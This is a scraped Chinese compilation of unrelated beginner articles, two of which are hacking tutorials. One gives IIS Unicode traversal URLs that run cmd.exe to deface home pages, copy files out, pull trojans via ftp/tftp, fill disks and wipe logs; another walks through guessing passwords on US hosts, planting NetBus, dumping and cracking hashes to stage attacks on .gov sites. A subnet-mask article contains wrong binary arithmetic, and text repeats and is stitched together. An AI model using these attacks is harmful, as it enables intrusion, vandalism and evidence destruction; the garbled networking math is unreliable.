这条命令dir c:iloveu.gif /s意味着查找c盘下所有目录里的iloveu.gif，注意

实际应用时别忘了把空格改为+,如果没有继续找d盘，很快就能确定主页目录的。

找到了目录，就要对它开刀了！一般默认收页为index.htm,index.html,index.asp,

default.htm,defautl.html,default.asp中的一个，现在我们确定11.11.22.22中为index.htm

那么我们就修改它吧！

最方便的方法：echo法。echo是一个系统命令，主要用于设置回应开关，而echo cshu >c:autoexe.bat就是把

cshu加入autoexec.bat里并删除原有内容，echo cshunice >>c:autoexec.bat

就是加入cshunice但不删除原有内容，这样我们就可以逍遥的改了。

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm

回应为：HTTP 500 - 内部服务器错误 通过对cmd的分析，袁哥得出一条简便的方法，加入“符号

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd”.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd“.exe?/c+echo+2001730+>>c:inetpubwwwrootindex.htm

回应为：cgi错误，不用理会

两条命令一下，呵呵，再看看11.11.22.22，是不是烙上我们的大名了？不错吧

而在实际操作中，可能袁哥的方法也会失效，这时，我们就可以copy cmd.exe

为另一个exe，记住路径，用copy后的来echo

例如：11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:a.exe

11.11.22.22/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm

2,上传法：echo有点不讲道理，把人家的文件破坏了，要是想在主页上增光添彩，

那就应该用改好的主页上传，这个我们后面介绍，

几点忠告：

1，对于没有主页的机器（就是正在建立的主页），不要改它，这很没水准，也很没道德

2，echo前记得帮他们做好备份

3，不准在主页里加入恶性语句

2，下载文件

要是有什么有用的文件被你发现，那我们如何下载呢？

最简单的方法：把文件copy至网页目录下。copy c:emailbaby.eml c:inetpubwwwrootbaby.zip,然后，

下载11.11.22.22/baby.zip就行了，注意！实际应用中要记得对文件名进行修改，总之不能暴露。

别的方法：对不起，没想好：）

3，最重要的上传

一般方法：ftp法

首先建一个ftp脚本文件：c:hehe.haha（名字乱取把），申请一个ftp账号，然后用echo吧

echo+open ftp.cshu.com（ftp主机） >c:hehe.haha

echo+user yourname >>cc:hehe.haha (yourname是用户名)

echo+yourpasswd >>c:hehe.haha (yourpasswd是密码)

echo+get setup.exe >>c:hehe.haha 要下载的文件

echo+quit >>c:hehe.haha

完了以后：ftp+/s:c:hehe.haha,由于是ftp主机，那么速度一定很快，过一会setup.exe

就会出现在当前目录了（也就是cmd所在目录）

别忘了先上传到ftp主机，不要做马大哈哦！

最简单的方法：tftp法。

这种方法不用中转服务器，首先准备一个tftp服务端，它的作用就是把你的机器做成一个tftp服务器，

利用漏洞机器来下载（注意，运行tftp时不要运行其他的ftp软件）

在这里我推荐cisco tftp server，自己去找找把，实在没有来找我：）

安装好后运行，别忘了设置好默认目录，否则会找不到文件 tftp命令：tftp -i 1.2.3.4 GET ihateu.exe c:winntihateu.exe（ihateu.exe在默认目录里）

1.2.3.4为你的ip，用unicode运行一下，会看到tftp server里有反应了，这就好了，不一会，文件就传上去了，方便把！

学会了上传，我们就可以好好改主页，还可以上传木马，还可以把程序放上去运行…………（运行程序和在dos里一样）

4，如何清除痕迹

虽然国内主机纪录ip的不是很多，但万事小心为妙，unicode权限达不到admin。用cleaniislog行不通，就…………直接删吧！

C:winntsystem32logfiles*.*

C:winntssytem32config*.evt

C:winntsystem32dtclog*.*

C:winntsystem32*.log

C:winntsystem32*.txt

C:winnt*.txt

C:winnt*.log

全……擦掉！

四，细节问题。

1，遇到长文件名怎么办？

c:program files

就用c:”program20%files“

2，遇到空格怎么办？

20%代替喽，或者xx yy=xxyy~1

3,如何做个很大的文件？

目的就是破坏啦！我不喜欢不过教教你们啦

@echo off

echo big >c:a.a

:h

copy c:a.a+c:a.a c:a.a

goto h

注意不要乱来啊！

4，输入命令，没反应或反应不对。

：）请检查检查再检查命令的正确性，可能没有漏洞，那就闪人！

看在你看到这里那么给我面子的份上，在给你几个吧！

www.exsample.com/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 或www.exsample.com/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 或www.exsample.com/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:

不一定有用哦！

5，如何找到unicode漏洞的主机

呵呵：）最好的方法自然是………………一个一个ping,一个一个试喽：）

不要打我呀！我说我说。最好找一个cgi扫描器，unicode查找器多如牛毛，随便找个吧！

篇26： 快速入门

今天的内容是获得主机的信息，

快速入门

。 我们要黑一台主机，首先要了解它的信息， 包括它的类型，用户列表，目录，端口，漏洞等等。 首先我们我们要找一台主机来练手，随便挑吧！www.dddd.com(乱说的)第一部，呵呵， 先在ie里看看吧，mmmm.....做的还行，挺精致的！主要是

今天的内容是获得主机的信息。 我们要黑一台主机，首先要了解它的信息，

包括它的类型，用户列表，目录，端口，漏洞等等。

首先我们我们要找一台主机来练手，随便挑吧！www.dddd.com(乱说的)第一部，呵呵，

先在ie里看看吧，mmmm.....做的还行，挺精致的！主要是我们肯定了它现在是正常的。 然后，

我们应该知道它的ip,很简单，ping它一下就可以了。ping www.dddd.com，看看窗口里有

了什么？是不是有三行回应，其中的111.111.222.222就是ip了（还是胡说的，一个例子）。有人

是不是要问，我这里怎么没有。那可能是两个原因，第一，你打错命令了；第二，该主机装了防火墙，

禁止ping,不过这种可能很小。知道了ip，下一步应该确定端口了。下面是一些常用的端口的默认值

21--ftp 重要哦

23--telnet 欢呼吧

25-smtp 尽管重要，但似乎没什么可利用的 53--domain 同上

79--finger 可知道用户信息了

80--http 要看网页，没它不行吧

110--pop 收信的

139--netbios 共享用的，很有利用价值哦

3389--win2000超级终端 呵呵，这个好！

其实端口有上千种，这些最最常用

我们怎么知道服务器有什么端口打开呢？？去找个扫描器吧，x-scan ,super scan,flux等等

很多哦。这里我推荐super scan ，速度很快，本站也有其教程哦！用法还是比较傻瓜的，估

计大家不会有问题，轻轻几点，打开的端口就出现了。不错不错，上面说到的都有（太理想化了吧!）

那么我们该如何应对呢？ps:忘了说一声，顺便扫一下7626,冰河有也说不准哦：）

若有ftp,那就用用匿名登陆。自己动手也行，最好用x-scan flux等吧！反正，有ftp就有一份希望

telnet在！好!telnet 111.111.222.222，出现窗口了吧！嗯？要密码？看来网管还不是超级白痴：）

随便猜个，错了，闪人！

二，一切从基础开始

由于winntsystem32cmd.exe的存在，使远程执行命令变为可能，在浏览器里输入以

下请求：(假设11.11.22.22有漏洞）

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

学过dos的应该可以看懂，其实就是利用当中的非法请求使我们可以连到system32下，

如果inetpub目录不合winnt同盘，或者目录级数有改动，可能会引起请求失败。

如果成功，那么在浏览区可看到如下信息：

Directory of C:inetpubscripts

2000-09-28 15:49 〈DIR〉 .

2000-09-28 15:49 〈DIR〉 .. （假设目录中没有文件，实际上有一大堆）

是不是有自己机器的感觉了，正点！就是这种感觉！

cmd.exe相当与dos里的command.com，因此，我们可以执行很多命令了！

11.11.22.22/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir （这个命令同样道理）

大家请注意：/c后面的+，实际上，他就是空格，请记牢！dir开始就是dos命令了，我们可以更改一下：

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:autoexec.bat+c:winntauto.exe

会dos的朋友一定懂其意义了，不懂的请去看书 .

不用说，大家也知道我们就可以利用它来对有漏洞的机器展开攻击了！

三，实战演练

1，修改主页！（是不是很爽？）

一般主页位置在c:inetpubwwwroot下，但要是改了路径，就需要找找了，

最方便的方法：在浏览器里输入 11.11.22.22/.ida要是有漏洞，那在浏览器里 便会显示主页路径，这个漏洞存在率很高，自然是我们的首选。

分析法：用dir看各个盘符的根目录，看可疑的就进去看，运气好的在一分钟里找到，这要看运气和直觉。

dir/s法：首先在看其主页，找个图片或连接，看它的文件名，比如，11.11.22.22首页上

有一幅图片，右击，属性，看到了吗？iloveu.gif，然后我们利用unicode输入

这条命令dir c:iloveu.gif /s意味着查找c盘下所有目录里的iloveu.gif，注意

实际应用时别忘了把空格改为+,如果没有继续找d盘，很快就能确定主页目录的。

找到了目录，就要对它开刀了！一般默认收页为index.htm,index.html,index.asp,

default.htm,defautl.html,default.asp中的一个，现在我们确定11.11.22.22中为index.htm

那么我们就修改它吧！

最方便的方法：echo法。echo是一个系统命令，主要用于设置回应开关，而echo cshu >c:autoexe.bat就是把

cshu加入autoexec.bat里并删除原有内容，echo cshunice >>c:autoexec.bat

就是加入cshunice但不删除原有内容，这样我们就可以逍遥的改了。

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm

回应为：HTTP 500 - 内部服务器错误 通过对cmd的分析，袁哥得出一条简便的方法，加入”符号

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd“.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd”.exe?/c+echo+2001730+>>c:inetpubwwwrootindex.htm

回应为：cgi错误，不用理会

两条命令一下，呵呵，再看看11.11.22.22，是不是烙上我们的大名了？不错吧

而在实际操作中，可能袁哥的方法也会失效，这时，我们就可以copy cmd.exe

为另一个exe，记住路径，用copy后的来echo

例如：11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:a.exe

11.11.22.22/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm

2,上传法：echo有点不讲道理，把人家的文件破坏了，要是想在主页上增光添彩，

那就应该用改好的主页上传，这个我们后面介绍。

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篇27：子网掩码入门

子网掩码的主要功能是告知网络设备，一个特定的IP地址的哪一部分是包含网络地址与子网地址，哪一部分是主机地址，网络的路由设备只要识别出目的地址的网络号与子网号即可作出路由寻址决策，IP地址的主机部分不参与路由器的路由寻址操作，只用于在网段中唯一标识一个网络设备的接口。

本来，如果网络系统中只使用A、B、C这三种主类地址，而不对这三种主类地址作子网划分或者进行主类地址的汇总，则网络设备根据IP地址的第一个字节的数值范围即可判断它属于A、B、C中的哪一个主类网，进而可确定该IP地址的网络部分和主机部分，不需要子网掩码的辅助。

但为了使系统在对A、B、C这三种主类网进行了子网的划分，或者采用无类别的域间选路技术（Classless Inter-Domain Routing，CIDR）对网段进行汇总的情况下，也能对IP地址的网络及子网部分与主机部分作正确的区分，就必须依赖于子网掩码的帮助。

子网掩码使用与IP相同的编址格式，子网掩码为1的部分对应于IP地址的网络与子网部分，子网掩码为0的部分对应于IP地址的主机部分。将子网掩码和IP地址作“与”操作后，IP地址的主机部分将被丢弃，剩余的是网络地址和子网地址。例如，一个IP分组的目的IP地址为：10.2.2.1，若子网掩码为：255.255.255.0，与之作“与”运算得：10.2.2.0，则网络设备认为该IP地址的网络号与子网号为：10.2.2.0。子网掩码是用来判断任意两台计算机的IP地址是否属于同一子网络的根据。

最为简单的理解就是两台计算机各自的IP地址与子网掩码进行AND运算后，如果得出的结果是相同的，则说明这两台计算机是处于同一个子网络上的，可以进行直接的通讯。就这么简单。

请看以下示例：

运算演示之一：aa

I P 地址 192.168.0.1

子网掩码 255.255.255.0

AND运算

转化为二进制进行运算：

I P 地址 11010000.10101000.00000000.00000001

子网掩码 11111111.11111111.11111111.00000000

AND运算

11000000.10101000.00000000.00000000

转化为十进制后为：

192.168.0.0

运算演示之二：

I P 地址 192.168.0.254

子网掩码 255.255.255.0

AND运算

转化为二进制进行运算：

I P 地址 11010000.10101000.00000000.11111110

子网掩码 11111111.11111111.11111111.00000000

AND运算

11000000.10101000.00000000.00000000

转化为十进制后为：

192.168.0.0

运算演示之三：

I P 地址 192.168.0.4

子网掩码 255.255.255.0

AND运算

转化为二进制进行运算：

I P 地址 11010000.10101000.00000000.00000100

子网掩码 11111111.11111111.11111111.00000000

AND运算

11000000.10101000.00000000.00000000

转化为十进制后为：

192.168.0.0

通过以上对三组计算机IP地址与子网掩码的AND运算后，我们可以看到它运算结果是一样的，

均为192.168.0.0

所以计算机就会把这三台计算机视为是同一子网络，然后进行通讯的。我现在单位使用的代理服务器，内部网络就是这样规划的。

也许你又要问，这样的子网掩码究竟有多少了IP地址可以用呢？你可以这样算。

根据上面我们可以看出，局域网内部的ip地址是我们自己规定的（当然和其他的ip地址是一样的），这个是由子网掩码决定的通过对255.255.255.0的分析。可得出：

前三位IP码由分配下来的数字就只能固定为192.168.0所以就只剩下了最后的一位了，那么显而易见了，ip地址只能有（2的8次方-1），即256-1=255一般末位为0或者是255的都有其特殊的作用。

但是这样划分但浪费地址了，所以后来又引出一种叫VLSM(可变长掩码)的新算法。

如果共有50台机器，那一定是用C类地址。但是如果用C类的话每一个网段可以用到253台主机而你现在只有50台，这样的话不是要浪费200台了吗？但是如果用了VLSM就不同了请看。

如果是静态掩码的话C类地址因该是255.255.255.0

50<2的7次方，化为十进制就是64。所以VLSM就是255.255.255.64

例一:IP:192.168.0.1

SubstMask：255.255.255.64

转化为二进制11000000.10101000.00000000.00000001

11111111.11111111.00000000.1000000

AND与运算

11000000.10101000.00000000.00000000

转化为十进制192.168.0.0

例二:192.168.0.50

SubstMask：255.255.255.64

转化为二进制11000000.10101000.00000000.00110010

11111111.11111111.11111111.01000000

AND与运算

11000000.10101000.00000000.00000000

转化为十进制192.168.0.0

以上二个地址在同一网段

再看:

例三：IP:192.168.0.65

SubstMask:255.255.255.64

转化为二进制11000000.10101000.00000000.01000001

11000000.10101000.00000000.01000000

AND与运算

110000000.10101000.00000000.010000000

转化为十进制192.168.0.64

划开了!!就这么简单!

子网掩码不能单独存在，它必须结合IP地址一起使用。子网掩码只有一个作用，就是将某个IP地址划分成网络地址和主机地址两部分。

子网掩码的设定必须遵循一定的规则。与IP地址相同，子网掩码的长度也是32位，左边是网络位，用二进制数字“1”表示；右边是主机位，用二进制数字“0”表示。附图所示的就是IP地址为“192.168.1.1”和子网掩码为“255.255.255.0”的二进制对照。其中，“1”有24个，代表与此相对应的IP地址左边24位是网络号；“0”有8个，代表与此相对应的IP地址右边8位是主机号。这样，子网掩码就确定了一个IP地址的32位二进制数字中哪些是网络号、哪些是主机号。这对于采用TCP/IP协议的网络来说非常重要，只有通过子网掩码，才能表明一台主机所在的子网与其他子网的关系，使网络正常工作。

常用的子网掩码

子网掩码有数百种，这里只介绍最常用的两种子网掩码，它们分别是“255.255.255.0”和“255.255.0.0”。

篇28：入门化学课件

1.化学（Chemistry）是一门研究物质的性质、组成、结构、变化、用途、制法，以及物质变化规律的自然科学。化学是一门以实验为基础的科学。

2.物理变化：没有生成新物质。如：冰化成水、水变成水蒸气、木刻成舟；

化学变化：有生成新物质。如：燃烧、食物腐坏。

3.前20号元素：

1H氢2He氦3Li锂4Be铍5B硼6C碳7N氮8O氧9F氟10Ne氖11Na钠Mg镁13Al铝14Si硅15P磷16S硫17Cl氯18Ar氩19K钾20Ca钙

4.空气的组成

我们每天呼吸着的空气，它的组分也是我们化学研究的对象。空气的成分按体积计算，氮气占78%、氧气占21%、稀有气体占0.94%二氧化碳占0.03%、其它气体和杂质0.03%。

5.基础化学实验

1）药品的使用要做到“三不”分别是：不能用手接触药品，不要把鼻孔凑到容器口去闻药品的气味，不得尝任何药品的味道。剩余药品的处理要做到“三不”分别是：不能放回原瓶，不要随意丢弃，不要拿出实验室。

2）固体药品的取用小颗粒或粉末状用药匙或纸槽。操作方法是一、先使试管倾斜二、把盛有药品的药匙送至试管底部三、再把容器慢慢竖立起来，如没有注明用量应取盖满试管底部为宜。块状或颗粒大的药品用镊子取。操作方法一、先把容器横放二、把药品放入容器口三、再把容器慢慢竖立起来。

3）液体药品的取用：①少量液体用滴管。②细口瓶倒液体时，瓶塞应倒放，标签向手心，否则残留的液体会腐蚀标签。如果没有注明用量应取1-2ml。③准确取液体用量筒和滴管，俯视读数比实际偏大，仰视读数比实际偏小。

4）酒精灯火焰分为外焰、内焰、焰芯，温度最高的是外焰，最低的是焰芯，加热时用外焰加热。

5）可直加热的.仪器有（四种）试管、燃烧匙、石棉网、坩埚。必须垫上石棉网才可加热的仪器有烧杯、烧瓶、锥形瓶，不能加热的有量筒。加热前必须预热，操作方法是把试管在火焰上来回移动或把酒精灯火焰在药品下方来回移动。给固体加热试管口要略向下倾斜，给液体加热试管与桌面倾角为45°。

6）玻璃仪器洗刷干净的标准是仪器内壁附着的水既不聚成水滴，也不成股流下。

7）试管夹夹在离管口约1/3处，酒精灯内酒精不能超过容积的2/3，加热试管内的液体不能超过容积的1/3。

8）给试管里的液体加热，可能会造成试管破裂的原因有：试管外壁有水珠或没有预热试管、灼热的试管用冷水冲洗等。

篇29： 入门初级教程之一

注意：运行以下程序，在WinNT 4.0上方可成功操作

一般用户均为拨号上网，速度较慢，绝对不适合大数据量攻击，比如密码强攻等，而且很容易很容易暴露自己，留下攻击痕迹，给自己带来极大的危险，所以，建立自己的中间堡垒是迈向成功的第一步，

入门初级教程之一

。所谓中间堡垒，实际上就是连接在高速网络上的远程计算机，我们在本地通过Telnet，控制远程计算机上运行的攻击程序，这样，没有直接对目标进行攻击，敌人很难发现，而且远程计算机有很宽的带宽，速度较快，减少攻击时间。比如在霉国，绝大多数计算机都是通过千兆网连接到Internet，其速度不比我们在局域网慢。

那么，怎么建立自己的中间堡垒呢？在霉国，上网计算机数量巨大，几乎有40%以上的计算机是相当容易攻破的，所以，我们只要想办法功入一台位于霉国的计算机，并成功的在其上安装木马程序及攻击工具程序，接下来就好好办多了。请看下面的我们的经历：

利用Pinger程序，查找霉国的一段IP地址，如果没有任何机器，再换一段，直到找到目标，如下：

可以发现，Ping程序在一连续的IP地址上，找到目标计算机的一些相关信息，比如：209.102.20.193 - SERVER，其中209.102.20.193为计算机的IP地址，SERVER为机器名，接下来，我们进入DOS，运行killusa编制的letmein.exe，如下:

letmein.exe 的参数为：

letmein.exe file://server/ -group -op pwd

其中-group 为：( -all -admin -users -domainadmin -domainusers -guests -domainguests)

-op 为：（-g: 攻击，-d 只显示用户)

pwd为：mypwd

例如：letmein file://111.111.111.111/ -all -g mypwd (对\111.111.111.111上所有用户攻击)

例如：letmein file://111.111.111.111/ -admin -g mypwd (对\111.111.111.111上管理员攻击)

例如：letmein file://111.111.111.111/ -all -d mypwd (显示\111.111.111.111上所有用户)

接下来，letmein程序开始取得SERVER的相关用户，并简单尝试其口令，非常幸运，SERVER操作系统为NT，killusa很快取得SERVER上管理员为Pearson的口令为Pearson，结果如下：

当然，您的运气也许没有这么好，没关系，反复试几次，终归会有一个笨蛋失误，我们以多年的经验保证您可以在霉国找到这么一台计算机！

接下来，继续在DOS状态下运行：

其实，这时，您已以管理员的身份登录到该机器上了，接下来，赶快将工具程序拷贝到该计算机上，如下：

程序已经复制到远程计算机上，那么如何启动木马程序ntsrv.exe呢，请看：

这样，在远程计算机时间13:30分(时间在letmein已显示，估计后延一点)，SERVER上的SCHEDULE服务程序将启动ntsrv.exe，并监听端口：64321，当然，端口号可以根据自己的习惯，建议在200-65360之间选折，

OK，您已成功占领该计算机，启动Netbus客户端程序：netbus.exe，在host name/IP中填入：209.102.20.193，在Port中填入：64321，选折“Connect!”按钮，如下：

具体NetBus的用法，可以查看其Help文件，接下来，选折“Get Info”，如下：

可以判断其WIN NT安装在c:winnt目录下，接下来，选折“App Redirect”，如下：

当然，端口可以自己选折，但建议尽量大点，如：6111159999等，这样，你就可以通过Telenet.exe或nc.exe来控制远程计算机SERVER运行你的攻击程序，如下：

利用nc.exe的界面：

Telnet用法如下：telnet 209.102.20.193 54321

而且必须将终端->首选选项->本地响应 选上，利用Telnet.exe 的界面：

这样，你已在远程计算机上运行DOS窗口，并将你的运行程序结果返回到你的本地机器，因为程序是运行在远程计算机上，速度只要你ping以下霉国的站点，你就会发现不一样。

接下来，必须取得该站点的密码，已扩大战果，在telnet或nc中，运行pwddump.exe，如下：

然后，利用Netbus将server.lc下载到本地，利用L0phtCrack 2.5解出其他密码，如下：

得到了密码，接下来的事我就不用再说了，但千万注意保护好这个堡垒，不要在上面留下不该留下的垃圾，也千万不要删除上面的任何文件，攻击完后，一定要将相关现场恢复，如删除server.lc，pwddump.exe等文件。

这里只介绍攻击NT服务器的基本方法，攻击一个站点时，往往主站点很难进入，也不会有这种管理员的密码一猜就中，但不要泄气，用Pinger扫描其相差一个或几个C端地址，攻击其防范不严的相关机器，一步一步得到管理员的密码，如目标为：www.somesite.gov，其IP为：111.111.111.111，扫描出其所在C类地址所有IP，攻击其相关服务器或其工作人员站点机，比如www.somesite.gov管理员其中有:usasb，利用letmein无法得到管理员密码，但其有一台机器为：usasbclient，其中管理员有：administrator、test、usasb，利用letmein得到test的密码为空，采用上面的方法，得到usasb的密码，利用LC解出usasb的密码明码，ok，再用usasb进入www.somesite.gov，将其所有密码下载后，接下来killusa要睡觉去了!!! -) ....

要成为一名优秀的Hacker，必须有敏锐的洞察力和应变能力，必须对各种操作系统相当了解，并且有很好的编程水平，鉴于当前形势严峻，不做一名优秀的Hacker，入个门，也能取得好成绩

篇30：如何入门学俄语

如何入门学俄语

俄语是俄罗斯民族的语言，也是独联体各国人民互相交际的共同语，要想学习并掌握好俄语，应注意以下几点：：

一。排除母语及英语的干扰 俄语和汉语是两种不同语系，不同类型的语言。俄语属印欧语系，汉语属汉藏语系，在语音、词汇、语法等方面存在着很大的差别。因此，要学好俄语必须要改变长期形成的母语语言习惯;同时，大部分学生从前在初高中学的英语，在刚刚接触俄语阶段，长期以来形成的英语发音习惯必定对俄语语音有较大的影响，因此，在初学时就要顶住困难、克服干扰，多听录音、多模仿朗读，以达到最佳效果，为以后的学习打下良好打基础。

二。抓住重点、难点 学习俄语必须要抓住学习重点，逐个突破学习难点，才会达到事半功倍的效果。例如：辅音的清浊对应，硬软对应，颤音[p]、元音[bl]的发音，语法中，名词性的区别、数和格的变化，形容词性、数、格的变化，动词体、时、人称的变化及其用法等。

三。活学巧用，提高言语技能 学习语言的目的在于交际，为此在学习过程中切忌死记硬背。在基础阶段，为了打好听、说、读、写、译的基础，应该正确掌握发音要领、熟记一些语法规则、固定句型等，但在提高阶段，就应把学习注意力转移到提高言语技能上了。除了掌握新学的语言知识外，应该学会“举一反三”的学习方法，活学活用，利用一切实践机会张口说俄语，避免“哑巴俄语”现象。

对于一个初学者来说一开始很难进入角色，我个人的建议是，开始时就需要有一个好的老师来做引导，引导你正确的发对每一个字母的读音，俄语的好学的地方，就在于看到每一个字母就可以读出每个单词来，但基础就是正确的发对每一个字母的读音，同时就是重音的纠正，举例来说，мука当重音在у上时，意思就是苦恼，痛苦。当重音在а上时，意思就是面粉。我记得有一次去商店里买面粉，我就将重音发在了у上，我问店员说：Увасестьмука?Давайтекилограмм.然后店员很奇怪，为什么我想要一公斤苦恼，就问我，你是不是想要面粉呀?结果我回家一查字典才明白是怎么回事。所以重音对于学好俄语也是非常重要的，如何使我们可以准确的找到每个单词的重音?这就需要我们大量的读俄语的文章，如果有条件就让老师听着我们读，这样可以随时校正，使我们可以正确的读好每个单词，没有这样的条件，我们就要很认真的耐心的把文章里的每个单词，通过查字典准确的标出。

因为，我们以后读的文章是不把重音标出来的，所以，需要我们把基础打好，培养好的语感。同时，老师还可以很好纠正，你在语法上犯的错误。 随着学习的难度加深，我们就需要提高自己，这种提高指的是：单词的积累。有人说, 可以背字典呀，单词量就可以增加呀。我本人觉得，这并不可取，因为你就算，记住了每个单词不知道怎么用，还是没用。俄语里，名词的变格，动词的变位，等等。很复杂!不同的变化会产生不同的意思。所以，我建议多读俄语的材料，在句子里记单词，这样可以知道，每个单词是如何使用的，将来需要用这个词的时候，就可以很准确的使用它。不过，我要在这里提醒大家，要注意选择适合自己的材料，和用什么样的技巧来读材料。例如，我开始读的时候，选的是读报纸，可以了解新闻的同时也积累了单词，报纸里的文章篇幅不大，自己也会有兴趣把它读完。可是，读了才知道文章篇幅虽然不大，但是，生词非常多，看完一篇文章要用1~2个小时，如果看完一份报，可能会用去一天的时间。

后来，我总结了一个方法，就是先把所有的文章标题看一遍，了解报纸里的信息，然后再细读那些自己感兴趣的文章。这样就达到了一个很好的效果，了解信息的同时积累了单词。 但是，不要认为读了很多的俄语文章，就可以说自己交谈俄语没有问题了!因为，你所掌握的单词很多是用于书面的，生活中很少不用，甚至不用。所以，提高口语的方法，就在于多和当地的人交谈，没有这样条件的就尽量和老师或外教交流。

俄语听力

1、听力的确是俄语的“听说读写”四种能力中比较难的，不可能指望短期内听力达到突飞猛进，一般来说，只能靠长期的积累。

2、要从大一起就锻炼对听力的敏感性。我们的俄语作为一门外语，从根本上说和驾车一样，是一种技能，既然是技能，就需要长时间的不停的训练。具体来说，就要经常听课文的对话和课文的磁带，模仿磁带的语音和语调、语速。还要注意的是，大一大二阶段一定要大量背诵一些对话和课文，这是积累一些语言材料的过程。

3、基础阶段(大一大二)锻炼听力和口语的方法还有一个，那就是两个人一组(一般也可以课后自行来组织进行)，首先一个人朗诵对话或者课文，一个人认真听，然后马上口译。然后，角色对换，进行练习。这样，既锻炼了听力，又锻炼了口语、朗读能力。

4、听力要搞好，有下面三个必要条件：心理(自信、精力集中)、语言(基本语法知识、单词量等)、文化国情知识(历史、地理、政治、经济、风俗、文化等)。

5、俄语属于比较麻烦(倒不是难学)的一门语言，和汉语和英语相差比较大，并且很容易一张口就会出错(变位、变格、常难句等)。所以，俄语初学者很容易产生挫折感，不敢开口，也害怕开口。具体到听力来说，就是一让听东西就心理紧张，这样会的东西也听不懂了。所以，一开始听的时候一定要精力集中，并且要高度自信、冷静。

6、提高阶段。首先要选择语速和难度适当的语言材料。其次，听的过程中，不要一个单词听不懂就着急，卡壳了，下面说了什么根本没听到。听不懂得单词要把它略过。注意听下面的内容。说不定，全文听完之后你能够猜出那个词的意思。或者有的时候，一个单词并不会阻碍你理解听力材料的大意。第三，在听的过程中，要注意找到句子的主干，比如主语(或主体)，谓语(补语、表语)。具体到新闻，那你最主要要听到时间、地点、人物、数字、年代等中心词的内容就行了。如果听力材料比较长，那你首先要注意该材料的主题、主要内容、叙述的次序等。这样，你就能抓住材料的精髓了。

7、网络上的一些锻炼听力的网站。这个就比较多了。当你看到从网络上下载的俄语电影的时候，心里真是感到兴奋 语言与性别(языкигендер)一直是令人文科学家深感兴趣的课题之一。英、德、日等语言中的性别差异研究开展较早，并已取得了相当的成果。斯拉夫语族中的有关研究还只是刚刚开始。本文的任务在于描写俄语语音在实践中的若干性别变体(гендерныйвариант)，以引起学界同仁对此类问题的关注，并自觉地将有关成果应用于教学实践。

概述 综合分析两性实际发音的特点可以发现，男女在音质、音长和语调等方面均有较为明显的差异，这些差异主要出现在日常口语中。较之男性的发音，女性发音的特点可以简单地概括为音质清晰、元音音色丰富、音长较长、音域宽、音高值大、音调变化较多等。例如女性独有双音化(дифтонгичность)的元音，即重读音节中的某些元音常常被读成二合元音(деда–д[ие]да，лето–л[ие]та，идет–ид[ио]т)，该音节同时还带有句重音时尤其如此(Насвсанат[оу]рийотправляют//„)„„而男性语音中的音色较为单一，辅音在语流中的变形(деформация)和辅音数量及质量的弱化(редукция)、以至脱落或省略较多、语调起伏不大。例如他们极可能把非重读的元音[а]、[о]、[у]、[и]、[э]发成[ъ](在硬辅音之后)或者[ь](在软辅音之后)(первуюкартинусвою– [п’ эрwъикърт’инусwъиъо]，ввоспитании– [ъосп’ьтан’ь])„„除此之外，两性在语音表现方面还有一些较为显著的差异。

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